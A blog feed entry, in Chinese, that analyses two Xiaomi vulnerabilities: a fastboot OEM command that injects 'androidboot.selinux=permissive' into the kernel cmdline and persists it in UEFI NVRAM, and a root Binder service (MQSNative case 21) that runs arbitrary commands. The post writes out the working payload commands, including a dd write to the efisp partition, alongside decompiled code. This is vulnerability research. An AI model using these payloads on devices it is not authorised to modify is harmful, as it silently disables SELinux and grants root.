<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Swing&#39;Blog 浮生若梦</title>
  
  <subtitle>努力是为了 站在万人中央 成为别人的光</subtitle>
  <link href="https://bestwing.me/atom.xml" rel="self"/>
  
  <link href="https://bestwing.me/"/>
  <updated>2026-03-11T07:09:16.706Z</updated>
  <id>https://bestwing.me/</id>
  
  <author>
    <name>Swing</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Preempted: From ADB Service Call to Bootloader Unlock on Xiaomi</title>
    <link href="https://bestwing.me/preempted-unlocking-xiaomi-via-two-unsanitized-strings.html"/>
    <id>https://bestwing.me/preempted-unlocking-xiaomi-via-two-unsanitized-strings.html</id>
    <published>2026-03-09T12:14:21.000Z</published>
    <updated>2026-03-11T07:09:16.706Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/css/lightgallery.min.css" /><div class=".article-gallery"<h1 id="Preempted-From-ADB-Service-Call-to-Bootloader-Unlock-on-Xiaomi"><a href="#Preempted-From-ADB-Service-Call-to-Bootloader-Unlock-on-Xiaomi" class="headerlink" title="Preempted: From ADB Service Call to Bootloader Unlock on Xiaomi"></a>Preempted: From ADB Service Call to Bootloader Unlock on Xiaomi</h1><h2 id="MQSNative-提权-ABL-Cmdline-注入-——-小米三八解锁节漏洞分析"><a href="#MQSNative-提权-ABL-Cmdline-注入-——-小米三八解锁节漏洞分析" class="headerlink" title="MQSNative 提权 + ABL Cmdline 注入 —— 小米三八解锁节漏洞分析"></a>MQSNative 提权 + ABL Cmdline 注入 —— 小米三八解锁节漏洞分析</h2><h2 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL; DR"></a>TL; DR</h2><p>3月9号，也就是今天似乎已经热更新完了，我没有验证。为了避免白下，于是挑了一个看起来比较老的 ROM <sup id="fnref:1"><a href="#fn:1" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="https://bn.d.miui.com/OS3.0.9.0.WPAMIXM/nezha_global_images_OS3.0.9.0.WPAMIXM_20260210.0000.00_16.0_global_e160067725.tgz">[1]</span></a></sup> ，解包过程不赘述了。直接开始分析涉及到的其中两个漏洞</p><ol><li>Fastboot OEM Inject 可以注入cmdline 启动参数，将 selinux 设置为宽容模式</li><li>MIUI MQSNative Binder 提权漏洞，也是一个命令注入，可以通过adb获取高权限，前提 selinux 已经设置为宽容模式</li></ol><p>另外这俩漏洞分析由我和 @MG1937<sup id="fnref:2"><a href="#fn:2" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="https://github.com/MG1937">[2]</span></a></sup> 共同完成</p><h2 id="Fastboot-OEM-cmdline-注入"><a href="#Fastboot-OEM-cmdline-注入" class="headerlink" title="Fastboot OEM cmdline 注入"></a>Fastboot OEM cmdline 注入</h2><p>这个漏洞是 ABL 的漏洞，二进制文件在 <code>nezha_global_images_OS3.0.9.0.WPAMIXM_16.0/images/abl.elf</code> </p><p>通过 <code>binwalk</code> 层层解压，最后用 7z 解压一个 <code>decompressed.bin.7z</code> 得到一个 <code>LinuxLoader.efi</code> </p><p>Payload : </p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">fastboot oem set-gpu-preemption-value 0 androidboot.selinux=permissive</span><br></pre></td></tr></table></figure><p>以上述这个 Payload 展开分析：</p><h3 id="USB-gt-Fastboot-协议"><a href="#USB-gt-Fastboot-协议" class="headerlink" title="USB -&gt; Fastboot 协议"></a>USB -&gt; Fastboot 协议</h3><p>Fastboot 协议通过 USB bulk transfer 发送原始命令字符串：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">USB TX: &quot;oem set-gpu-preemption 0 androidboot.selinux&#x3D;permissive&quot;</span><br></pre></td></tr></table></figure><p>LinuxLoader.efi 的 fastboot command dispatch loop 遍历 g_OemCmdTable[30] (0xCAC08)，对每个 entry 做前缀匹配。匹配到 index 14：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">.data:00000000000CACE8                 DCQ aOemSetGpuPreem     ; &quot;oem set-gpu-preemption&quot;</span><br><span class="line">.data:00000000000CACF0                 DCQ CmdOemSetGpuPreemptionValue</span><br><span class="line">.data:00000000000CACF8                 DCQ aOemDeviceInfo      ; &quot;oem device-info&quot;</span><br><span class="line">.data:00000000000CAD00                 DCQ CmdOemDevinfo</span><br></pre></td></tr></table></figure><p>调用时 arg 指针指向匹配前缀之后的部分：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">完整命令: &quot;oem set-gpu-preemption 0 androidboot.selinux&#x3D;permissive&quot;</span><br><span class="line">                               .^</span><br><span class="line">                                arg 指向这里</span><br><span class="line">arg &#x3D; &quot; 0 androidboot.selinux&#x3D;permissive&quot;</span><br><span class="line">       ↑ 注意开头有一个空格</span><br></pre></td></tr></table></figure><h3 id="CmdOemSetGpuPreemptionValue-执行"><a href="#CmdOemSetGpuPreemptionValue-执行" class="headerlink" title="CmdOemSetGpuPreemptionValue 执行"></a>CmdOemSetGpuPreemptionValue 执行</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">AsciiStrnCpyS(v703, <span class="string">&quot;Set GPU HW Preemption: &quot;</span>, <span class="number">64</span>);<span class="comment">// Resp[0x40] = &quot;Set GPU HW Preemption: &quot;</span></span><br><span class="line">AsciiStrnCpyS(v702, <span class="string">&quot; msm_kgsl.preempt_enable=&quot;</span>, <span class="number">256</span>);<span class="comment">// GpuPreemptionValue[0x100] = &quot; msm_kgsl.preempt_enable=&quot;</span></span><br><span class="line"><span class="keyword">while</span> ( AsciiStrLen(v331) &amp;&amp; *v331 == <span class="number">0x20</span> )  <span class="comment">// if (arg[Pos] == &#x27; &#x27;) &#123; arg++; Pos--; &#125; else break;</span></span><br><span class="line">  ++v331;</span><br></pre></td></tr></table></figure><p>此刻栈上：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">GpuPreemptionValue: [<span class="string">&#x27; &#x27;</span>,<span class="string">&#x27;m&#x27;</span>,<span class="string">&#x27;s&#x27;</span>,<span class="string">&#x27;m&#x27;</span>,<span class="string">&#x27;_&#x27;</span>,<span class="string">&#x27;k&#x27;</span>,<span class="string">&#x27;g&#x27;</span>,<span class="string">&#x27;s&#x27;</span>,<span class="string">&#x27;l&#x27;</span>,<span class="string">&#x27;.&#x27;</span>,<span class="string">&#x27;p&#x27;</span>,<span class="string">&#x27;r&#x27;</span>,<span class="string">&#x27;e&#x27;</span>,<span class="string">&#x27;e&#x27;</span>,<span class="string">&#x27;m&#x27;</span>,</span><br><span class="line">                     <span class="string">&#x27;p&#x27;</span>,<span class="string">&#x27;t&#x27;</span>,<span class="string">&#x27;_&#x27;</span>,<span class="string">&#x27;e&#x27;</span>,<span class="string">&#x27;n&#x27;</span>,<span class="string">&#x27;a&#x27;</span>,<span class="string">&#x27;b&#x27;</span>,<span class="string">&#x27;l&#x27;</span>,<span class="string">&#x27;e&#x27;</span>,<span class="string">&#x27;=&#x27;</span>,<span class="string">&#x27;\0&#x27;</span>, ... <span class="number">0x100</span> bytes]</span><br></pre></td></tr></table></figure><p>前导空格过滤循环 (0x5F7DC–0x5F7F8)</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// arg = &quot; 0 androidboot.selinux=permissive&quot;</span></span><br><span class="line"><span class="comment">//        ^</span></span><br><span class="line"></span><br><span class="line">  <span class="number">0x5F7E0</span>  AsciiStrLen(arg)    → <span class="number">33</span>    <span class="comment">// 非零，继续</span></span><br><span class="line">  <span class="number">0x5F7E8</span>  LDRB W8, [X19]              <span class="comment">// W8 = *arg = 0x20 (空格)</span></span><br><span class="line">  <span class="number">0x5F7EC</span>  CMP  W8, #<span class="number">0x20</span>              <span class="comment">// 是空格？是</span></span><br><span class="line">  <span class="number">0x5F7F0</span>  B.NE done                   <span class="comment">// 不跳转</span></span><br><span class="line">  <span class="number">0x5F7F4</span>  ADD  X19, X19, #<span class="number">1</span>           <span class="comment">// arg++ 跳过这个空格</span></span><br><span class="line">  <span class="number">0x5F7F8</span>  B    loop</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 第二次迭代:</span></span><br><span class="line">  <span class="comment">// arg = &quot;0 androidboot.selinux=permissive&quot;</span></span><br><span class="line">  <span class="comment">//        ^</span></span><br><span class="line">  <span class="number">0x5F7E8</span>  LDRB W8, [X19]              <span class="comment">// W8 = *arg = 0x30 (&#x27;0&#x27;)</span></span><br><span class="line">  <span class="number">0x5F7EC</span>  CMP  W8, #<span class="number">0x20</span>              <span class="comment">// 是空格？不是</span></span><br><span class="line">  <span class="number">0x5F7F0</span>  B.NE done                   <span class="comment">// ← 跳出循环</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>过滤后：<code>arg = &quot;0 androidboot.selinux=permissive&quot;</code><br>循环在遇到第一个非空格字符 ‘0’ 后立即退出。字符串中间的空格 “0 androidboot…” 完全未被检查。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">v336 = AsciiStrLen(v331);                     <span class="comment">// AsciiStrLen(arg) - get length of user input (with embedded spaces)</span></span><br><span class="line">  AsciiStrnCatS(GpuPreemptionValue, <span class="number">256</span>, v331, v336);<span class="comment">// VULNERABILITY: AsciiStrnCatS(GpuPreemptionValue, 0x100, arg, len) -</span></span><br></pre></td></tr></table></figure><p>拼接完后的 GpuPreemptionValue 为</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">GpuPreemptionValue &#x3D; &quot; msm_kgsl.preempt_enable&#x3D;0 androidboot.selinux&#x3D;permissive\0&quot;</span><br><span class="line">                        ←──────────────────── 58 字节 ───────────────────────→</span><br></pre></td></tr></table></figure><p>最后应该是写入 UEFI NVRAM里了</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">@<span class="number">0x5F818</span>  X20 = gRT_ptr-&gt;SetVariable        <span class="comment">// offset 0x58 in EFI_RUNTIME_SERVICES</span></span><br><span class="line">                                               <span class="comment">// 即 SetVariable 函数指针</span></span><br><span class="line"></span><br><span class="line">@<span class="number">0x5F828</span>  AsciiStrLen(GpuPreemptionValue)    → <span class="number">58</span></span><br><span class="line"></span><br><span class="line">@<span class="number">0x5F838</span>  gRT-&gt;SetVariable(</span><br><span class="line">             <span class="string">L&quot;GpuConfiguration&quot;</span>,              <span class="comment">// VariableName (Unicode)</span></span><br><span class="line">             &amp;gOemConfigVariableGuid,          <span class="comment">// VendorGuid @ 0xCB3B4</span></span><br><span class="line">             EFI_VARIABLE_NON_VOLATILE |       <span class="comment">// Attributes = 7</span></span><br><span class="line">               EFI_VARIABLE_BOOTSERVICE_ACCESS |</span><br><span class="line">               EFI_VARIABLE_RUNTIME_ACCESS,</span><br><span class="line">             <span class="number">58</span>,                               <span class="comment">// DataSize</span></span><br><span class="line">             <span class="string">&quot; msm_kgsl.preempt_enable=0 androidboot.selinux=permissive&quot;</span></span><br><span class="line">           )</span><br></pre></td></tr></table></figure><p>payload 已持久化到 UEFI NVRAM。 NON_VOLATILE 意味着：</p><ul><li>重启不丢失</li><li>恢复出厂设置不清除（factory reset 只擦 userdata/cache 分区，不动 UEFI 变量）</li><li>刷机不一定清除（除非刷入的固件主动删除该变量）</li></ul><h3 id="Kernel-解析-cmdline"><a href="#Kernel-解析-cmdline" class="headerlink" title="Kernel 解析 cmdline"></a>Kernel 解析 cmdline</h3><p>设备重启后，ABL 加载 kernel 之前调用 <code>UpdateCmdLine()</code> 构造完整的 kernel command lin</p><p>先试读取 <code>GpuConfiguration</code> 变量</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">xEF20  X8 = *gRT_ptr                       <span class="comment">// 取 EFI_RUNTIME_SERVICES*</span></span><br><span class="line">  <span class="number">0xEF2C</span>  X0 = <span class="string">L&quot;G&quot;</span>                           <span class="comment">// 短字符串优化，实际是 L&quot;GpuConfiguration&quot;</span></span><br><span class="line">  <span class="number">0xEF34</span>  X1 = &amp;gOemConfigVariableGuid</span><br><span class="line">  <span class="number">0xEF3C</span>  X2 = <span class="number">0</span>                              <span class="comment">// Attributes = NULL</span></span><br><span class="line">  <span class="number">0xEF40</span>  X8 = gRT-&gt;GetVariable               <span class="comment">// offset 0x48</span></span><br><span class="line">  <span class="number">0xEF44</span>  BLR X8                              <span class="comment">// 调用 GetVariable</span></span><br><span class="line"></span><br><span class="line">           返回: EFI_SUCCESS (<span class="number">0</span>)</span><br><span class="line">           输出 buffer 内容:</span><br><span class="line">           <span class="string">&quot; msm_kgsl.preempt_enable=0 androidboot.selinux=permissive&quot;</span></span><br></pre></td></tr></table></figure><p>计算长度并追加到 cmdline (0xEF68–0xEF94)</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">0xEF68</span>  X0 = &amp;GpuCmdLine buffer             <span class="comment">// 指向 GetVariable 输出</span></span><br><span class="line"><span class="number">0xEF70</span>  AsciiStrLen(GpuCmdLine)     → <span class="number">58</span></span><br><span class="line"><span class="number">0xEF78</span>  AsciiStrnLenS_0x100(<span class="number">58</span>)             <span class="comment">// 边界检查 ≤ 0x100，通过</span></span><br><span class="line"></span><br><span class="line"><span class="number">0xEF94</span>  AppendToCmdLine(</span><br><span class="line">             cmdline_dst,                      <span class="comment">// 最终 kernel cmdline buffer</span></span><br><span class="line">             GpuCmdLine,                       <span class="comment">// &quot; msm_kgsl.preempt_enable=0 androidboot.selinux=permissive&quot;</span></span><br><span class="line">             <span class="number">58</span>                                <span class="comment">// 长度</span></span><br><span class="line">           )</span><br></pre></td></tr></table></figure><p>无任何校验，直接拼接到 kernel command line。</p><p>这样当系统启动后，init 进程读取该 prop，将 SELinux 设为 permissive 模式</p><p>SELinux permissive 意味着：</p><ul><li>所有 SELinux MAC 策略不再强制执行，只审计记录</li><li>任何进程可以访问任何文件、socket、设备节点</li><li>ADB shell 可以直接 su 而不被 SELinux 阻止</li><li>配合其他提权漏洞（如 MQSNative service call）可直接获得无约束 root</li></ul><p>一个简单的流程</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">┌──────────────┐     写入      ┌─────────────────────┐</span><br><span class="line">│  fastboot     │─────────────→│  UEFI NVRAM          │</span><br><span class="line">│  oem 命令     │              │  GpuConfiguration    │</span><br><span class="line">└──────────────┘              │  NON_VOLATILE        │</span><br><span class="line">                               └──────────┬──────────┘</span><br><span class="line">                                          │ 每次启动读取</span><br><span class="line">                               ┌──────────▼──────────┐</span><br><span class="line">                               │  UpdateCmdLine()     │</span><br><span class="line">                               │  → kernel cmdline    │</span><br><span class="line">                               │  → SELinux permissive│</span><br><span class="line">                               └─────────────────────┘</span><br><span class="line">                                          │</span><br><span class="line">                              每次开机自动生效，直到:</span><br><span class="line">                              1. fastboot oem set-gpu-preemption 0  (覆盖为正常值)</span><br><span class="line">                              2. UEFI 变量被手动清除</span><br><span class="line">                              3. 重刷完整固件（不一定清除 NVRAM）</span><br></pre></td></tr></table></figure><p>  一次注入 = 永久 SELinux 降级。用户无感知，设置界面仍显示 “Enforcing”（因为 UI 读的是运行时状态，而该注入在 init 早期就已生效）。</p><h2 id="MIUI-MQSNative-Binder-Privilege-Escalation"><a href="#MIUI-MQSNative-Binder-Privilege-Escalation" class="headerlink" title="MIUI MQSNative Binder Privilege Escalation"></a>MIUI MQSNative Binder Privilege Escalation</h2><p>这个漏洞涉及到的 Binder 服务是 MIUI MQSNative。 解包后通过朴实无华的 <code>grep</code> 命令可以找到两个二进制程序</p><ul><li><code>./system_ext_extracted/bin/hypsys_system</code></li><li><code>./system_ext_extracted/lib64/miui.mqsas.native-cpp.so</code> </li></ul><p>另外 grep 到一个 <code>selinux</code> 的配置</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./system_ext_extracted/etc/selinux/system_ext_service_contexts:14:miui.mqsas.IMQSNative u:object_r:mqsasd_service:s0</span><br></pre></td></tr></table></figure><p>进一步查找可以知道访问该服务的核心域 (Domains)有如下，</p><ol><li>updater:<ul><li>对应的 App: 通常是小米官方的“系统更新” (Updater) 应用。</li><li>权限: 这个 App 运行在 updater 域中，显然它需要调用 mqsasd 来执行某些系统维护任务（比如写入 Persist 文件或运行特定命令）。</li></ul></li><li>system_server:<ul><li>对应的组件: Android 系统的核心进程（system_server）。</li><li>含义: 系统服务（如 ActivityManagerService 或小米自定义的 Framework 服务）可以自由访问此接口。</li></ul></li><li>hypsys_ssi_client:<ul><li>对应的组件: 这是一个通用的客户标签。我们需要找出哪些进程被标记为 hypsys_ssi_client。</li><li>推测: 通常是一些负责系统稳定性监控、性能优化的系统级组件。</li></ul></li></ol><p><del>因此正常的 adb shell 应该也是访问不到这个Binder的</del>，</p><p>adb shell 是能访问到这个BInder的， 但是普通App权限应该不能（所以大概率不会被某XX利用） 接着分析 <code>MQSNative Binde</code></p><p>在 <code>./system_ext_extracted/etc/init/hypsys_system.rc</code> init 的配置文件中可以看到,  MQSNative Binder 服务以 root 权限 运行</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$ cat ./system_ext_extracted/etc/init/hypsys_system.rc |grep hypsys_system -A 10</span><br><span class="line">service hypsys_system /system_ext/bin/hypsys_system</span><br><span class="line">    user root</span><br><span class="line">    group system root cache <span class="built_in">log</span> everybody product_hyperengine</span><br><span class="line">    disabled</span><br><span class="line">    socket mqsasd stream 0660 system system</span><br><span class="line">    socket mqsasd_pr dgram 0666 system system</span><br></pre></td></tr></table></figure><h3 id="MQSNative-Binder-注册"><a href="#MQSNative-Binder-注册" class="headerlink" title="MQSNative Binder 注册"></a>MQSNative Binder 注册</h3><p><code>MQSNative Binder</code> 的注册在 <code>/system_ext/bin/hypsys_system</code> main 函数里能看到</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line"><span class="comment">// 0x9b680-0x9b724</span></span><br><span class="line"> v41 = (MQSNativeDaemon *)<span class="keyword">operator</span> <span class="keyword">new</span>(<span class="number">0x30</span>uLL);</span><br><span class="line">  MQSNativeDaemon::MQSNativeDaemon(v41);</span><br><span class="line">  android::defaultServiceManager(&amp;serviceManager);</span><br><span class="line">  <span class="comment">// vtable+48 = IServiceManager::addService</span></span><br><span class="line">  result = serviceManager-&gt;vptr-&gt;addService(</span><br><span class="line">      serviceManager,</span><br><span class="line">      descriptor,    <span class="comment">// &quot;miui.mqsas.IMQSNative&quot; (String16)</span></span><br><span class="line">      v41,           <span class="comment">// MQSNativeDaemon* (作为 IBinder)</span></span><br><span class="line">      <span class="number">0</span>,             <span class="comment">// allowIsolated = false</span></span><br><span class="line">      <span class="number">8</span>              <span class="comment">// dumpPriority = PRIORITY_DEFAULT</span></span><br><span class="line">  );</span><br></pre></td></tr></table></figure><p>main 函数主要按以下顺序完整注册任务</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">+-------------------------------------------------------+</span><br><span class="line">|                main() in hypsys_system                |</span><br><span class="line">+-------------------------------------------------------+</span><br><span class="line">                            |</span><br><span class="line">                            v</span><br><span class="line">+-------------------------------------------------------+</span><br><span class="line">| [Step 1] HypSysSsi (AIDL NDK API)                     |</span><br><span class="line">|  - Create HypSysSsiImpl                               |</span><br><span class="line">|  - AServiceManager_addService(&quot;...IHypSysSsi/default&quot;)|</span><br><span class="line">+-------------------------------------------------------+</span><br><span class="line">                            |</span><br><span class="line">                            v</span><br><span class="line">+-------------------------------------------------------+</span><br><span class="line">| [Step 2] BnHypSysSsiIntl (AIDL NDK API)               |</span><br><span class="line">|  - Create BnHypSysSsiIntl                             |</span><br><span class="line">|  - AServiceManager_addService(&quot;...IHypSysSsiIntl/...&quot;)|</span><br><span class="line">+-------------------------------------------------------+</span><br><span class="line">                            |</span><br><span class="line">                            v</span><br><span class="line">+-------------------------------------------------------+</span><br><span class="line">| [Step 3] MQSNativeDaemon (Legacy Binder API)          | &lt;--- 我们所关注的服务</span><br><span class="line">|  - operator new(0x30)                                 |</span><br><span class="line">|  - MQSNativeDaemon::MQSNativeDaemon()                 |</span><br><span class="line">|  - android::defaultServiceManager()                   |</span><br><span class="line">|  - IServiceManager::addService(&quot;miui.mqsas.IMQSNative&quot;)|</span><br><span class="line">+-------------------------------------------------------+</span><br><span class="line">                            |</span><br><span class="line">                            v</span><br><span class="line">+-------------------------------------------------------+</span><br><span class="line">| [Step 4] ABinderProcess_startThreadPool()             |</span><br><span class="line">|  - 启动子线程处理 Binder 请求                         |</span><br><span class="line">+-------------------------------------------------------+</span><br><span class="line">                            |</span><br><span class="line">                            v</span><br><span class="line">+-------------------------------------------------------+</span><br><span class="line">| [Step 5] ABinderProcess_joinThreadPool()              |</span><br><span class="line">|  - 主线程加入线程池，开始循环监听请求                 |</span><br><span class="line">+-------------------------------------------------------+</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="onTransact-分派"><a href="#onTransact-分派" class="headerlink" title="onTransact 分派"></a>onTransact 分派</h3><p><code>BnMQSNative::onTransact</code> 位于 <code>./system_ext_extracted/lib64/miui.mqsas.native-cpp.so</code>  依赖库里的 0xC0B4</p><p>其是一个包含22 个case 的switch 大函数体， 映射了 22 个AIDL 的接口方法， 其中公开payload 中用到的是 21 这个</p><p>公开的payload是</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">adb shell service call miui.mqsas.IMQSNative 21 \</span><br><span class="line">    i32 1 s16 <span class="string">&quot;dd&quot;</span>                                          \</span><br><span class="line">    i32 1 s16 <span class="string">&quot;if=/data/local/tmp/gbl of=/dev/block/by-name/efisp&quot;</span> \</span><br><span class="line">    s16 <span class="string">&quot;/data/mqsas/log.txt&quot;</span>                               \</span><br><span class="line">    i32 60</span><br></pre></td></tr></table></figure><p>其对应的伪代码为如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">case</span> <span class="number">0x15</span>u:  <span class="comment">// captureLogByRunCommand - CRITICAL VULNERABILITY</span></span><br><span class="line">    readStatus = data-&gt;readString16Vector(&amp;cmds_vec);</span><br><span class="line">    <span class="keyword">if</span> (readStatus == <span class="number">0</span>) &#123;</span><br><span class="line">        readStatus = data-&gt;readString16Vector(&amp;args_vec);</span><br><span class="line">        <span class="keyword">if</span> (readStatus == <span class="number">0</span>) &#123;</span><br><span class="line">            readStatus = data-&gt;readString16(&amp;logFilePath);</span><br><span class="line">            <span class="keyword">if</span> (readStatus == <span class="number">0</span>) &#123;</span><br><span class="line">                readStatus = data-&gt;readInt32(&amp;timeout);</span><br><span class="line">                <span class="keyword">if</span> (readStatus == <span class="number">0</span>) &#123;</span><br><span class="line">                    <span class="comment">// 无任何权限检查，直接调用虚函数</span></span><br><span class="line">                    <span class="keyword">this</span>-&gt;vptr-&gt;captureLogByRunCommand(</span><br><span class="line">                        <span class="keyword">this</span>, cmds_vec, args_vec, logFilePath, timeout,</span><br><span class="line">                        &amp;call_status, &amp;call_status_msg</span><br><span class="line">                    );</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>其调用的功能是 <code>captureLogByRunCommand</code> </p><p>我们简单映射一下ADB命令和 Parcel 参数的映射结果如下</p><table><thead><tr><th align="left">Parcel 数据</th><th align="left">反序列化调用</th><th align="left">含义</th></tr></thead><tbody><tr><td align="left"><code>i32 1</code> + <code>s16 &quot;dd&quot;</code></td><td align="left"><code>readString16Vector(&amp;cmds)</code></td><td align="left"><strong>命令向量</strong>：size=1, [“dd”]</td></tr><tr><td align="left"><code>i32 1</code> + <code>s16 &quot;if=... of=...&quot;</code></td><td align="left"><code>readString16Vector(&amp;args)</code></td><td align="left"><strong>参数向量</strong>：size=1, [“if=/data/local/tmp/gbl of=/dev/block/by-name/efisp”]</td></tr><tr><td align="left"><code>s16 &quot;/data/mqsas/log.txt&quot;</code></td><td align="left"><code>readString16(&amp;logFile)</code></td><td align="left"><strong>日志文件路径</strong></td></tr><tr><td align="left"><code>i32 60</code></td><td align="left"><code>readInt32(&amp;timeout)</code></td><td align="left"><strong>超时秒数</strong></td></tr></tbody></table><p><code>captureLogByRunCommand</code> -&gt; <code>miui::mqsas::BpMQSNative::captureLogByRunCommand</code>  最后结果就是：</p><pre><code>任意命令+参数：captureLogByRunCommand 接受任意命令名和参数，无白名单/黑名单过滤</code></pre><h2 id="changelog"><a href="#changelog" class="headerlink" title="changelog"></a>changelog</h2><p> v2: 修复了一些 selinux 的错别字<br> v1: 更改了错误说法，其实 ·adb shell· 是可以访问到小米 MQSNative Binder 的</p><h2 id="Reference-link"><a href="#Reference-link" class="headerlink" title="Reference link"></a>Reference link</h2><div id="footnotes"><hr><div id="footnotelist"><ol style="list-style: none; padding-left: 0; margin-left: 40px"><li id="fn:1"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">1.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">https://bn.d.miui.com/OS3.0.9.0.WPAMIXM/nezha_global_images_OS3.0.9.0.WPAMIXM_20260210.0000.00_16.0_global_e160067725.tgz<a href="#fnref:1" rev="footnote"> ↩</a></span></li><li id="fn:2"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: 